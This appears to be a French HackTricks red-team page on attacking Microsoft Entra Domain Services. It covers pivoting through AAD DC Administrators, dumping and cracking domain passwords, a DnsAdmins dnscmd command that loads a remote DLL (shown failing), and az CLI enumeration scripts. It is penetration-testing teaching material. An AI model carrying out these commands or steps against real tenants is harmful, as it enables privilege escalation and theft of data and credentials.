Az - Microsoft Entra Domain Services

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Domain Services

Microsoft Entra Domain Services permet de dĂ©ployer un Active Directory dans Azure sans avoir besoin de gĂ©rer les contrĂŽleurs de domaine (en fait, vous n'y avez mĂȘme pas accĂšs).

Son objectif principal est de vous permettre d'exécuter des applications héritées dans le cloud qui ne peuvent pas utiliser des méthodes d'authentification modernes, ou lorsque vous ne souhaitez pas que les recherches dans l'annuaire retournent toujours à un environnement AD DS sur site.

Notez que pour synchroniser les utilisateurs gĂ©nĂ©rĂ©s dans Entra ID (et non synchronisĂ©s Ă  partir d'autres annuaires actifs) avec le service de domaine AD, vous devez changer le mot de passe de l'utilisateur pour un nouveau afin qu'il puisse ĂȘtre synchronisĂ© avec le nouvel AD. En fait, l'utilisateur n'est pas synchronisĂ© de Microsoft Entra ID vers les Domain Services tant que le mot de passe n'est pas changĂ©.

warning

MĂȘme si vous crĂ©ez un nouveau domaine Active Directory, vous ne pourrez pas le gĂ©rer complĂštement (sauf en exploitant certaines mauvaises configurations), ce qui signifie qu'en rĂšgle gĂ©nĂ©rale, vous ne pouvez pas crĂ©er d'utilisateurs directement dans l'AD. Vous les crĂ©ez en synchronisant des utilisateurs depuis Entra ID. Vous pouvez indiquer de synchroniser tous les utilisateurs (mĂȘme ceux synchronisĂ©s depuis d'autres AD sur site), uniquement les utilisateurs cloud (utilisateurs créés dans Entra ID), ou mĂȘme les filtrer davantage.

note

En gĂ©nĂ©ral, en raison du manque de flexibilitĂ© dans la configuration du nouveau domaine et du fait que les AD sont gĂ©nĂ©ralement dĂ©jĂ  sur site, ce n'est pas l'intĂ©gration principale entre Entra ID et AD, mais il est tout de mĂȘme intĂ©ressant de savoir comment le compromettre.

Pivoting

Les membres du groupe généré AAD DC Administrators se voient accorder des permissions d'administrateur local sur les VM qui sont jointes au domaine géré (mais pas dans les contrÎleurs de domaine) car ils sont ajoutés au groupe des administrateurs locaux. Les membres de ce groupe peuvent également utiliser Remote Desktop pour se connecter à distance aux VM jointes au domaine, et sont également membres des groupes :

  • Denied RODC Password Replication Group : Il s'agit d'un groupe qui spĂ©cifie les utilisateurs et groupes dont les mots de passe ne peuvent pas ĂȘtre mis en cache sur les RODC (Read-Only Domain Controllers).
  • Group Policy Creators Owners : Ce groupe permet aux membres de crĂ©er des stratĂ©gies de groupe dans le domaine. Cependant, ses membres ne peuvent pas appliquer de stratĂ©gies de groupe aux utilisateurs ou groupes ni modifier les GPO existantes, donc ce n'est pas trĂšs intĂ©ressant dans cet environnement.
  • DnsAdmins : Ce groupe permet de gĂ©rer les paramĂštres DNS et a Ă©tĂ© abusĂ© par le passĂ© pour escalader des privilĂšges et compromettre le domaine, cependant aprĂšs avoir testĂ© l'attaque dans cet environnement, il a Ă©tĂ© vĂ©rifiĂ© que la vulnĂ©rabilitĂ© est corrigĂ©e :
text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5

Notez que pour accorder ces autorisations, à l'intérieur de l'AD, le groupe AAD DC Administrators est devenu membre des groupes précédents, et également le GPO AADDC Computers GPO ajoute en tant qu'administrateurs locaux tous les membres du groupe de domaine AAD DC Administrators.

Le pivotement d'Entra ID vers un AD créé avec Domain Services est simple, il suffit d'ajouter un utilisateur dans le groupe AAD DC Administrators, d'accéder via RDP à n'importe quelle/toutes les machines du domaine et vous pourrez voler des données et également compromettre le domaine.

Cependant, le pivotement du domaine vers Entra ID n'est pas aussi facile car rien du domaine n'est synchronisé dans Entra ID. Cependant, vérifiez toujours les métadonnées de toutes les VM jointes car leurs identités gérées assignées pourraient avoir des autorisations intéressantes. De plus, dump toutes les mots de passe des utilisateurs du domaine et essayez de les craquer pour ensuite vous connecter à Entra ID / Azure.

note

Notez qu'auparavant, d'autres vulnĂ©rabilitĂ©s dans cet AD gĂ©rĂ© ont Ă©tĂ© trouvĂ©es, permettant de compromettre les DC, comme celle-ci. Un attaquant compromettant le DC pourrait trĂšs facilement maintenir la persistance sans que les administrateurs Azure ne s'en aperçoivent ou mĂȘme ne puissent l'enlever.

ÉnumĂ©ration

bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks